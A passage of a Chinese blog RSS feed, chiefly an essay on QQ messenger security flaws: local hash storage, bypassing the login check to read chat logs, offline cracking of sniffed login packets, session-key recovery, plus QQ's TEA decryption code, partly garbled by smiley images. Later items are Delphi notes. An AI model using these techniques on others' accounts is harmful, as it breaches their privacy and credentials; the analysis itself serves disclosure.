  其中在步骤3的时候，我们就可以查看聊天记录了。
  如果2失败，则要求重新输入密码；如果5失败，则退出步骤3中得到的用户界面。对于没有正确密码的攻击者来说，要保持3的状态以查看本地聊天记录，需要首先骗过2，并防止4发生。由于QQ没有软件加密（加壳），所以2十分容易，修改一个跳转就OK。4就更容易了，拔了网线或设置防火墙就可以了。现在网上有很多这样的修改教程和修改好的客户端。所以不再赘述。
  三，本地聊天记录的加密方法
  事实上以上第二条所说是一个利用已有客户端简单规避本地检查的办法。如果你愿意，可以自己写一个查看聊天记录的工具，因为它的加密方式是如此的脆弱。
  首先普及一点常识：TEA算法（Tiny Encryption Algorithm，即微型加密算法）是一个正规的密码学意义上的加密算法，你可以在http://www.ftp.cl.cam.ac.uk/ftp/papers/djw-rmn/djw-rmn-tea.html找到原作者对其的介绍。QQ的加密，包括本地文件加密和远程数据包加密，主要使用的就是这个算法。值得注意的是原作者使用的是32轮运算（即使是32轮，这个算法也被证明是可以已知明文攻击的），然而TENCENT将其降为了16轮。时间上省了一半，但安全性却严重下降。算法常识以后再讲，我们只要知道该算法是公开的就可以了。（废话，不公开哪来的那么多开源QQ，比如lumaQQ）。
  QQ本地历史数据，包括聊天记录和一些日志，用一个key加密后存在本地Msg.db或者MsgEx.db中，但是这个key呢，用QQ号码的MD5加密存在本地同一个文件中，换句话说，知道QQ号码就可以解密这些文件，QQ号码是什么呢？就是所在目录名！
  当然，如果你启用了本地消息加密，情况会稍微好那么一点点，要看你的本地加密密码强度了。但是有多少人会去设置呢？
  四，木马泛滥，Windows的HOOK
  关于QQ密码的安全性我想是大家最关心的问题。网络上充斥着各种各样的偷QQ密码的文章或者工具，其实绝大多数越来越不好用，有些所谓偷密码的工具甚至本身就是木马，是来偷你自己的密码的。这些工具主要原理是挂钩子，判断当前窗口名，截键盘，某种方式发回。实际上，能种下木马本身已经是可遇而不可求的了。加上对方稍有安全意识，有个象样点的防火墙，这些工具就很难成功。
  另外臭名昭著的QQ病毒之一类，俗称QQ尾巴的，也多是利用这种原理，查找窗口，发送消息。
  针对这些问题，TENCENT公司自己也做了不少工作，比如窗口名是空的，实际看到的窗口名是画上去的。比如软键盘，比如其他的密码保护措施，可惜效果不太好啊。
  五，登陆数据包如果遭窃听，密码可能被离线暴力破解
  这是一个十分严重的问题，也会导致密码丢失。而且比前一条所说更严重。实际上，攻击者不再需要装木马，他只要会用Sniffer就可以了。
  随便分析一下QQ的程序，或者看看开源的QQ程序，我们就知道，虽然普通数据包是协商的密钥，但QQ的登陆请求数据包中，由于还没有协商密钥，临时密钥是写在数据段之前的，也就是说这个数据包是可以轻松解密的。那么这个数据包里包含什么呢？它包含了用QQ密码的MD5或2次MD5加密空字符串得到的一段16字节数据！加密算法是TEA，最要命的是，经过TENCENT公司对算法模式的一个包装，如果用一个不相干的密钥去尝试解密这段二进制数据，解密函数会返回错误！而不是解密出一段无用的数据并返回正确！这种傻瓜逻辑为穷举攻击创造了极大的便利条件。实际攻击者不需要去穷举128位的密钥，他只要猜测可能的密码，做MD5运算一到二次后尝用来尝试解密那16字节数据就可以了。
  简而言之，如果你的密码够简单，或者进了字典，那么恶意攻击者只要用一个sniffer，或者开个QQ代理，就能知道你的密码，这个穷举只要本地运算即可，而且速度非常之快。大约10^6~10^8次/秒。这个速度意味着，所有8位以下数字，6位以下字母，简单数字字母组合的密码都是形同虚设。作为对策，建议普通用户使用足够强壮的密码并且不要使用任何QQ代理。
  六，得到工作密钥，实时解密QQ数据
  QQ聊天数据加密用了协商密钥作工作密钥，这不错。可是，它竟然用对称算法传递协商的密钥！？
  QQ的工作密钥是服务器随机生成并发回的（也许不是随机？可以预测？不过我没搞到QQ服务器源码，不知道），如果QQ在线，这个密钥会是一直不变的，如果不在线一段时间，这个工作密钥就被更新。所以每两次登陆，如果间隔了一定时间，大约十几分钟，这个密钥就不同。从而一劳永逸地破解工作密钥是不现实的。但是如果有了QQ密码的MD5，那么攻击者可以解密QQ登陆确认数据包，解密后竟然就可以看到工作密钥，是16个字节的大小写字母加数字组合。此后所有客户端到服务器的数据将全部用此工作密钥解密。如果需要点对点聊天，那么所需密钥用同样算法和工作密钥加密送来。总之，此后所有QQ数据都可以认为是明文了。
 [...]]]></description>
			<content:encoded><![CDATA[<p>QQ，就是OICQ，TENCENT公司研发的即时信息软件，是中国市场上国产IM软件绝对的老大。中国网民几乎人手至少一个QQ号码。大家都比我清楚，不多介绍。</p>
<p>  本文谈谈QQ的安全问题。</p>
<p>  QQ具有如此惊人的人气，却有着与之不相称的安全问题。基本上可以说，使用QQ，基本没有任何隐私可言！另外它也为你的电脑带来了诸多附送的安全隐患。有识之士如我都早已不用QQ啦。</p>
<p>  一，本地密码保存方式</p>
<p>  QQ的客户端会不经用户同意，把用户的密码经过数万次的MD5运算后存在本地。每次登陆在发送网络数据包之前进行本地验证，相信熟悉QQ的朋友对这一点都不陌生。这样事实上给了攻击者暴力破解QQ密码的机会，只要攻击者得到本地保存的这个数据即可。这个文件曾经叫ewh.db或者user.db，不知道现在是否又变了。说明一点，由于MD5作了数万次，这样的破解效率不高，但再低的效率也有弱智密码中招，当年在线尝试登陆都可以，还有什么不可能呢？<br />
  如果选择了自动登陆，那么密码的一次MD5保存在oicq2000.cfg中，破解速度大大提高。</p>
<p>  二，本地聊天记录查看漏洞</p>
<p>  典型的攻击场景是：已经拿到全部本地记录，就是一个以QQ号为名的文件夹，不知道密码（或者俗称忘记了密码，求助者多数号称是mm）如何查看其聊天记录？<br />
  QQ登陆的流程是这样的：1.输入用户名密码->2.本地验证通过->3.得到用户界面（企鹅开始闪动）->4.发送登陆包->5.收到登陆包成功响应->6.登陆成功。<br />
  其中在步骤3的时候，我们就可以查看聊天记录了。<br />
  如果2失败，则要求重新输入密码；如果5失败，则退出步骤3中得到的用户界面。对于没有正确密码的攻击者来说，要保持3的状态以查看本地聊天记录，需要首先骗过2，并防止4发生。由于QQ没有软件加密（加壳），所以2十分容易，修改一个跳转就OK。4就更容易了，拔了网线或设置防火墙就可以了。现在网上有很多这样的修改教程和修改好的客户端。所以不再赘述。</p>
<p>  三，本地聊天记录的加密方法</p>
<p>  事实上以上第二条所说是一个利用已有客户端简单规避本地检查的办法。如果你愿意，可以自己写一个查看聊天记录的工具，因为它的加密方式是如此的脆弱。<br />
  首先普及一点常识：TEA算法（Tiny Encryption Algorithm，即微型加密算法）是一个正规的密码学意义上的加密算法，你可以在http://www.ftp.cl.cam.ac.uk/ftp/papers/djw-rmn/djw-rmn-tea.html找到原作者对其的介绍。QQ的加密，包括本地文件加密和远程数据包加密，主要使用的就是这个算法。值得注意的是原作者使用的是32轮运算（即使是32轮，这个算法也被证明是可以已知明文攻击的），然而TENCENT将其降为了16轮。时间上省了一半，但安全性却严重下降。算法常识以后再讲，我们只要知道该算法是公开的就可以了。（废话，不公开哪来的那么多开源QQ，比如lumaQQ）。<br />
  QQ本地历史数据，包括聊天记录和一些日志，用一个key加密后存在本地Msg.db或者MsgEx.db中，但是这个key呢，用QQ号码的MD5加密存在本地同一个文件中，换句话说，知道QQ号码就可以解密这些文件，QQ号码是什么呢？就是所在目录名！<br />
  当然，如果你启用了本地消息加密，情况会稍微好那么一点点，要看你的本地加密密码强度了。但是有多少人会去设置呢？</p>
<p>  四，木马泛滥，Windows的HOOK</p>
<p>  关于QQ密码的安全性我想是大家最关心的问题。网络上充斥着各种各样的偷QQ密码的文章或者工具，其实绝大多数越来越不好用，有些所谓偷密码的工具甚至本身就是木马，是来偷你自己的密码的。这些工具主要原理是挂钩子，判断当前窗口名，截键盘，某种方式发回。实际上，能种下木马本身已经是可遇而不可求的了。加上对方稍有安全意识，有个象样点的防火墙，这些工具就很难成功。<br />
  另外臭名昭著的QQ病毒之一类，俗称QQ尾巴的，也多是利用这种原理，查找窗口，发送消息。<br />
  针对这些问题，TENCENT公司自己也做了不少工作，比如窗口名是空的，实际看到的窗口名是画上去的。比如软键盘，比如其他的密码保护措施，可惜效果不太好啊。</p>
<p>  五，登陆数据包如果遭窃听，密码可能被离线暴力破解</p>
<p>  这是一个十分严重的问题，也会导致密码丢失。而且比前一条所说更严重。实际上，攻击者不再需要装木马，他只要会用Sniffer就可以了。<br />
  随便分析一下QQ的程序，或者看看开源的QQ程序，我们就知道，虽然普通数据包是协商的密钥，但QQ的登陆请求数据包中，由于还没有协商密钥，临时密钥是写在数据段之前的，也就是说这个数据包是可以轻松解密的。那么这个数据包里包含什么呢？它包含了用QQ密码的MD5或2次MD5加密空字符串得到的一段16字节数据！加密算法是TEA，最要命的是，经过TENCENT公司对算法模式的一个包装，如果用一个不相干的密钥去尝试解密这段二进制数据，解密函数会返回错误！而不是解密出一段无用的数据并返回正确！这种傻瓜逻辑为穷举攻击创造了极大的便利条件。实际攻击者不需要去穷举128位的密钥，他只要猜测可能的密码，做MD5运算一到二次后尝用来尝试解密那16字节数据就可以了。<br />
  简而言之，如果你的密码够简单，或者进了字典，那么恶意攻击者只要用一个sniffer，或者开个QQ代理，就能知道你的密码，这个穷举只要本地运算即可，而且速度非常之快。大约10^6~10^8次/秒。这个速度意味着，所有8位以下数字，6位以下字母，简单数字字母组合的密码都是形同虚设。作为对策，建议普通用户使用足够强壮的密码并且不要使用任何QQ代理。</p>
<p>  六，得到工作密钥，实时解密QQ数据</p>
<p>  QQ聊天数据加密用了协商密钥作工作密钥，这不错。可是，它竟然用对称算法传递协商的密钥！？<br />
  QQ的工作密钥是服务器随机生成并发回的（也许不是随机？可以预测？不过我没搞到QQ服务器源码，不知道），如果QQ在线，这个密钥会是一直不变的，如果不在线一段时间，这个工作密钥就被更新。所以每两次登陆，如果间隔了一定时间，大约十几分钟，这个密钥就不同。从而一劳永逸地破解工作密钥是不现实的。但是如果有了QQ密码的MD5，那么攻击者可以解密QQ登陆确认数据包，解密后竟然就可以看到工作密钥，是16个字节的大小写字母加数字组合。此后所有客户端到服务器的数据将全部用此工作密钥解密。如果需要点对点聊天，那么所需密钥用同样算法和工作密钥加密送来。总之，此后所有QQ数据都可以认为是明文了。<br />
  如果你的密码被偷或被破解，攻击者很可能不通知你，也不修改你的密码，因为他知道你有密码保护，但是不要以为你的QQ号没有丢，可能攻击者正在看着你的聊天信息偷着乐呢。他也随时可以上线踢你下去，帮你聊天。</p>
<p>  七，太多而繁杂的发行版本</p>
<p>  QQ的客户端有太多的版本了，各种语言发行版不论，各种年号版、XP版、beta版、正式发行版，冠以各色名字，令人眼花缭乱，关键是他们还都好用。实际上，一个成功的C/S结构的网络产品不应当同时有太多的客户端版本，不仅难以维护，增大服务器开销，而且给冒名版本提供了可乘之机。现在流行有许多非官方发布的QQ客户端版本，什么珊瑚虫版，免广告版，显IP版……都大行其道，傻瓜也会想得到，其中必然有偷密码版，恶作剧版，留后门版在其中鱼目混珠。QQ对自己的客户端不加壳也就算了，它还不作进程检查和文件完整性校验，也没有守护进程。这么大大咧咧，怎么对得起这么多信之爱之的忠实用户啊？</p>
<p>  八，多处不作任何加密处理的模块</p>
<p>  也许由于数据量太大，语音和视频聊天就都没有加密，是明文传播，任何人可以直接在线收听收看。如果你想用WEB方式登陆www.qq.com，那么密码也就按照明文发出去了。</p>
<p>  九，乱添插件，乱加功能</p>
<p>  直接调用控件编写的内置IE浏览器，完全继承了IE的各种功能，以及漏洞。大家知道IE的漏洞研究的人十分之多，那么QQ也就随之非常危险了。<br />
  QQ秀，Q币，手机绑定等等在线服务，常常是每推出一个，就捎带出一堆漏洞。研究的人不少，这个需要在线研究，有风险，所以我没怎么干过。谁有经验告诉我啊。<br />
  自定义头像漏洞：据说QQ自定义头像的功能传出过一个漏洞，导致任意代码执行，我虽然没有实践过，但想来可能不假。<br />
  可以想见，功能越多，潜在的危险也就越大！这其实是安全软件开发中一条很有名的原则。所以建议各位，尽量少去玩试用版新功能，使用稳定而功能少的旧版本其实有时利大于弊。</p>
<p>  十，相同认证方式的其他网络服务和产品</p>
<p>  HTTP服务，《凯旋》游戏，QQ游戏大厅，等等，都可以用QQ号加同样的密码登陆。也许方便了用户，但在安全性上来讲这是大忌。整体安全性降到了其中的最小值。凯旋和游戏大厅是有客户端的，用户名密码的加密方式与QQ相同。但是HTTP可是明文的啊。</p>
<p>  以下讲几个场景。</p>
<p>  例如：<br />
  首先，滑稽的很，我竟然可以在http://service.qq.com查询到任意QQ号是否申请了密码保护，那么查查隔壁mm的吧。<br />
  然后，晓之以情动之以理，mm你去申请密码保护吧。同时打开sniffer。<br />
  哎，申请密码保护竟然要WEB方式输入密码！你知道么？申请密码保护的过程可能就是丢失密码的过程哦，顺便还捎带了提示问题及其答案呢！</p>
<p>  再例如：<br />
  我是网管，已经得到了你的密码，我修改了你的密码，你没有密码保护，那么你可以去申诉，向一个CGI叫做http://service.qq.com/cgi-bin/TellError的申诉。<br />
  然后，我就知道了你的曾经密码，真实信息，另一个QQ号……真是大丰收啊。什么，你打电话申诉？好吧去打吧，很艰辛的，社会工程学攻击已经超出本篇的范围了。</p>
<p>  再例如，你有密码保护，好吧那么你的找回过程还是要WEB登陆。再说，现在有多少电子邮箱又能抵挡住sniffer这样的简单工具呢？我就不多说了。<br />
下面我们来欣赏一下QQ的解密代码。<br />
[code]<br />
void decrypt_qword(unsigned long *in, unsigned long *key, unsigned long *out)<br />
{</p>
<p>    unsigned long code[4];<br />
    register unsigned long i=16, j=0xe3779B90, m, n;</p>
<p>    m = swapu32(in[0]);<br />
    n = swapu32(in[1]);</p>
<p>    code[0] = swapu32(key[0]); code[1] = swapu32(key[1]);<br />
    code[2] = swapu32(key[2]); code[3] = swapu32(key[3]);</p>
<p>    while(i-- >0)<br />
    {<br />
          n -= ((m>>5)+code[3])^((m<<4)+code[2])^(j+m);<br />
          m -= ((n>>5)+code[1])^((n<<4)+code[0])^(j+n);<br />
          j += 0x61C88647;<br />
    }<br />
    out[0] = swapu32(m);<br />
    out[1] = swapu32(n);<br />
}</p>
<p>int decrypt_msg(unsigned char *in, int inlen, unsigned long *key,<br />
                       unsigned char *out, unsigned long *outlen)<br />
{<br />
    unsigned char q[8], mkey[8], *q1, *q2, *outp;<br />
    register int count, i, j, p;</p>
<p>    if (inlen%8 || inlen<16) return 0;<br />
    decrypt_qword((unsigned long *)in, key, (unsigned long *)q);<br />
    j = q[0]&amp;0x7;<br />
    count = inlen - j - 10;<br />
  //   if (*outlen < count || count < 0) return 0; //?????*outlen<br />
    if (count < 0) return 0;<br />
    *outlen = count;</p>
<p>    memset(mkey, 0, 8);<br />
    q2 = mkey;<br />
    i = 8; p = 1;<br />
    q1 = in+8;<br />
    j ++;<br />
    while (p <= 2) {<br />
          if (j < <img src='http://blog.duoday.com/wp-includes/images/smilies/icon_cool.gif' alt='8)' class='wp-smiley' /> {<br />
                j ++;<br />
                p ++;<br />
          } else if (j == <img src='http://blog.duoday.com/wp-includes/images/smilies/icon_cool.gif' alt='8)' class='wp-smiley' /> {<br />
                q2 = in;<br />
                for (j = 0; j < 8; j ++ ) {<br />
                    if (i + j >= inlen) return 0;<br />
                    q[j] ^= q1[j];<br />
                }<br />
                decrypt_qword((unsigned long *)q, key, (unsigned long *)<br />
q);<br />
                i += 8;<br />
                q1 += 8;<br />
                j = 0;<br />
          }<br />
    }<br />
    outp = out;<br />
    while(count !=0) {<br />
          if (j < <img src='http://blog.duoday.com/wp-includes/images/smilies/icon_cool.gif' alt='8)' class='wp-smiley' /> {<br />
                outp[0] = q2[j] ^ q[j];<br />
                outp ++;<br />
                count --;<br />
                j ++;<br />
          } else if (j == <img src='http://blog.duoday.com/wp-includes/images/smilies/icon_cool.gif' alt='8)' class='wp-smiley' /> {<br />
                q2 = q1-8;<br />
                for (j = 0; j < 8; j ++ ) {<br />
                    if (i + j >= inlen) return 0;<br />
                    q[j] ^= q1[j];<br />
                }<br />
                decrypt_qword((unsigned long *)q, key, (unsigned long *)<br />
q);<br />
                i += 8;<br />
                q1 += 8;<br />
                j = 0;<br />
          }<br />
    }<br />
    for (p = 1; p < 8; p ++) {<br />
          if (j < <img src='http://blog.duoday.com/wp-includes/images/smilies/icon_cool.gif' alt='8)' class='wp-smiley' /> {<br />
                if (q2[j]^q[j])<br />
                    return 0;<br />
                j ++;<br />
          } else if (j == 8 ) {<br />
                q2 = q1;<br />
                for (j = 0; j < 8; j ++ ) {<br />
                    if (i + j >= inlen) return 0;<br />
                    q[j] ^= q1[j];<br />
                }<br />
                decrypt_qword((unsigned long *)q, key, (unsigned long *)<br />
q);<br />
                i += 8;<br />
                q1 += 8;<br />
                j = 0;<br />
          }<br />
    }<br />
    return 1;<br />
}</p>
<p>[/code]<br />
 算法模式简要概括如下：<br />
  F(i) = P(i) + C(i-1)<br />
  C(i) = E(Fi) + F(i-1)<br />
  P是明文，C是密文，E是TEA算法，作用于8字节单元上。每次i增加1，就作用于一个8字节分组。</p>
<p>  我们看到QQ的加密在算法模式上作了两个设计，其一引入随机字符作头部padding，这样基本保证同样的明文和密钥可以导致完全不同的加密结果。模式设计使得解密函数解密后可以准确抛弃掉这部分随机字。这个设计的确很好。但其模式在另一点上做的太差了，就是用返回值明确指出了解密的成功与否。</p>
<p>  实际上至少两年前，水木清华的Crack版上，pure(青衣～ shadow in silence) 的文章就揭示了这一段代码，早已不是什么秘密了。我自己也跟踪得到了这样的东西，不过还是参考过Shufeng Tan的Net-OICQ-0.8，以及Puzzlebird为Gaim写的QQ插件OpenQ-0.3.1，至于lumaQQ就没看了，想来也就差不多了吧。</p>
<p>  事实上我还有一个猜想，32轮的TEA降低到16轮，肯定是出奇地危险，如果对算法破解有兴趣，那么可以看看下面这些参考书。<br />
  1）John Kelsey,Bruce Schneier, David Wagner, “Related Cryptanalysis of 3-Way, Biham-DES, CAST, DES-X, NewDES, RC2, and TEA”<br />
  2）Fauzan Mirza, “Block Ciphers And Cryptanalysis”<br />
  3）VIKRAM REDDY ANDEM, “A CRYPTANALYSIS OF THE TINY ENCRYPTION ALGORITHM”</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.duoday.com/2008/245.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>delphi李维专栏\3D游戏编程入门\3D游戏开发大全 站点</title>
		<link>http://blog.duoday.com/2007/203.html</link>
		<comments>http://blog.duoday.com/2007/203.html#comments</comments>
		<pubDate>Mon, 29 Jan 2007 10:42:15 +0000</pubDate>
		<dc:creator>奇风</dc:creator>
				<category><![CDATA[设计代码]]></category>

		<guid isPermaLink="false">http://blog.duoday.com/2007/203.html</guid>
		<description><![CDATA[delphi 李维专栏
http://www.delphifans.com/SoftList/Catalog_12_SoftTime_Desc_1.html
3D游戏编程入门经典
http://book.csdn.net/bookfiles/199/
3D游戏开发大全
http://book.csdn.net/bookfiles/27/index.html
Delphi 3D 网： http://www.delphi3d.net/index.php
主要有OPENGL和Didirect这两种，还有就是使用第三方的3D开发包。。。
]]></description>
			<content:encoded><![CDATA[<p>delphi 李维专栏</p>
<p>http://www.delphifans.com/SoftList/Catalog_12_SoftTime_Desc_1.html</p>
<p>3D游戏编程入门经典</p>
<p>http://book.csdn.net/bookfiles/199/</p>
<p>3D游戏开发大全</p>
<p>http://book.csdn.net/bookfiles/27/index.html</p>
<p>Delphi 3D 网： http://www.delphi3d.net/index.php</p>
<p>主要有OPENGL和Didirect这两种，还有就是使用第三方的3D开发包。。。</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.duoday.com/2007/203.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>DELPHI MD5加密算法</title>
		<link>http://blog.duoday.com/2007/202.html</link>
		<comments>http://blog.duoday.com/2007/202.html#comments</comments>
		<pubDate>Mon, 29 Jan 2007 10:40:55 +0000</pubDate>
		<dc:creator>奇风</dc:creator>
				<category><![CDATA[设计代码]]></category>

		<guid isPermaLink="false">http://blog.duoday.com/2007/202.html</guid>
		<description><![CDATA[具体使用方法如下,另外还附有源代码:
/*
1、 MD5String、MD5File、MD5Print、MD5Match这四个函数是供调用的。其他是用来辅助这几个函数的子函数。
2、MD5String为加密字符串。
3、MD5File为加密这个文件。
4、MD5Print是将加密后的密文转换成字符串。
5、MD5Match是用来比较密文是否一致。
加密字符串aaa MD5String(&#39;aaa&#39;)
将加密后的aaa显示出来 MD5Print(MD5String(&#39;aaa&#39;))
比较两次密文是否一致： MD5Match(MD5String(&#39;第一次明文&#39;),MD5String(&#39;第二次输入的明文&#39;))
*/
MD5加密算法(DELPHI)
unit md5;
]]></description>
			<content:encoded><![CDATA[<p>具体使用方法如下,另外还附有源代码:<br />
/*<br />
1、 MD5String、MD5File、MD5Print、MD5Match这四个函数是供调用的。其他是用来辅助这几个函数的子函数。<br />
2、MD5String为加密字符串。<br />
3、MD5File为加密这个文件。<br />
4、MD5Print是将加密后的密文转换成字符串。<br />
5、MD5Match是用来比较密文是否一致。</p>
<p>加密字符串aaa MD5String(&#39;aaa&#39;)<br />
将加密后的aaa显示出来 MD5Print(MD5String(&#39;aaa&#39;))<br />
比较两次密文是否一致： MD5Match(MD5String(&#39;第一次明文&#39;),MD5String(&#39;第二次输入的明文&#39;))<br />
*/</p>
<p>MD5加密算法(DELPHI)</p>
<p>unit md5;</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.duoday.com/2007/202.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>delphi ADO 连接参数</title>
		<link>http://blog.duoday.com/2007/201.html</link>
		<comments>http://blog.duoday.com/2007/201.html#comments</comments>
		<pubDate>Mon, 29 Jan 2007 10:39:45 +0000</pubDate>
		<dc:creator>奇风</dc:creator>
				<category><![CDATA[设计代码]]></category>

		<guid isPermaLink="false">http://blog.duoday.com/2007/201.html</guid>
		<description><![CDATA[[SqlServer 连接]
//连接Sqlserver上的数据库
ADOCon.ConnectionString := &#39;Provider=SQLOLEDB.1;&#39;+
                           &#39;Password=密码;&#39;+
                         [...]]]></description>
			<content:encoded><![CDATA[<p>[SqlServer 连接]<br />
//连接Sqlserver上的数据库<br />
ADOCon.ConnectionString := &#39;Provider=SQLOLEDB.1;&#39;+<br />
                           &#39;Password=密码;&#39;+<br />
                           &#39;Persist Security Info=True;&#39;+<br />
                           &#39;User ID=用户名;&#39;+<br />
                           &#39;Initial Catalog=数据库名;&#39;+<br />
                           &#39;Data Source=服务器地址或域名&#39;;</p>
<p>[Access 连接]<br />
//读取运行程序当前目录下\data\wlgs.mdb Access数据库文件.<br />
ADOCon.ConnectionString := &#39;Provider=Microsoft.Jet.OLEDB.4.0;Data Source=&#39;+<br />
                           ExtractFilePath(Application.ExeName)+<br />
                           &#39;Data\wlgs.mdb&#39;+<br />
                           &#39;;Persist Security Info=False&#39;;</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.duoday.com/2007/201.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
